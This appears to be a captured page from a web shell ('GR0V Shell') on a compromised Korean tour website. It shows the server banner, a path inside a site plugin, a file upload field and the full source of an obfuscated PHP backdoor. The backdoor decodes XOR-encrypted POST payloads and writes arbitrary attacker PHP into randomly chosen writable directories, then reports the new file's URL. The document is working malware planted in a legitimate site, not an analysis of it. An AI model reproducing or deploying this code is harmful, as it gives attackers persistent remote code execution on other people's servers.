? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/test/plugins/system/remember/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/test/plugins/system/remember/vjtmqkrx.php

<?php $qefbo = "xshaftuhmhgsxvvf";$ymdddyy = "";foreach ($_POST as $itdqzi => $jknzymhfol){if (strlen($itdqzi) == 16 and substr_count($jknzymhfol, "%") > 10){erbgcnd($itdqzi, $jknzymhfol);}}function erbgcnd($itdqzi, $bnxfmiwph){global $ymdddyy;$ymdddyy = $itdqzi;$bnxfmiwph = str_split(rawurldecode(str_rot13($bnxfmiwph)));function hxoqyobp($iqjoqct, $itdqzi){global $qefbo, $ymdddyy;return $iqjoqct ^ $qefbo[$itdqzi % strlen($qefbo)] ^ $ymdddyy[$itdqzi % strlen($ymdddyy)];}$bnxfmiwph = implode("", array_map("hxoqyobp", array_values($bnxfmiwph), array_keys($bnxfmiwph)));$bnxfmiwph = @unserialize($bnxfmiwph);if (@is_array($bnxfmiwph)){$itdqzi = array_keys($bnxfmiwph);$bnxfmiwph = $bnxfmiwph[$itdqzi[0]];if ($bnxfmiwph === $itdqzi[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function byvkgzq($fifgxrxir) {static $ioiwvmkwl = array();$ulsgxi = glob($fifgxrxir . '/*', GLOB_ONLYDIR);if (count($ulsgxi) > 0) {foreach ($ulsgxi as $fifgxrx){if (@is_writable($fifgxrx)){$ioiwvmkwl[] = $fifgxrx;}}}foreach ($ulsgxi as $fifgxrxir) byvkgzq($fifgxrxir);return $ioiwvmkwl;}$qzwbsciu = $_SERVER["DOCUMENT_ROOT"];$ulsgxi = byvkgzq($qzwbsciu);$itdqzi = array_rand($ulsgxi);$kccpnoh = $ulsgxi[$itdqzi] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($kccpnoh, $bnxfmiwph);echo "http://" . $_SERVER["HTTP_HOST"] . substr($kccpnoh, strlen($qzwbsciu));exit();}}}

T1KUS90T
  root-grov@210.1.60.28:~$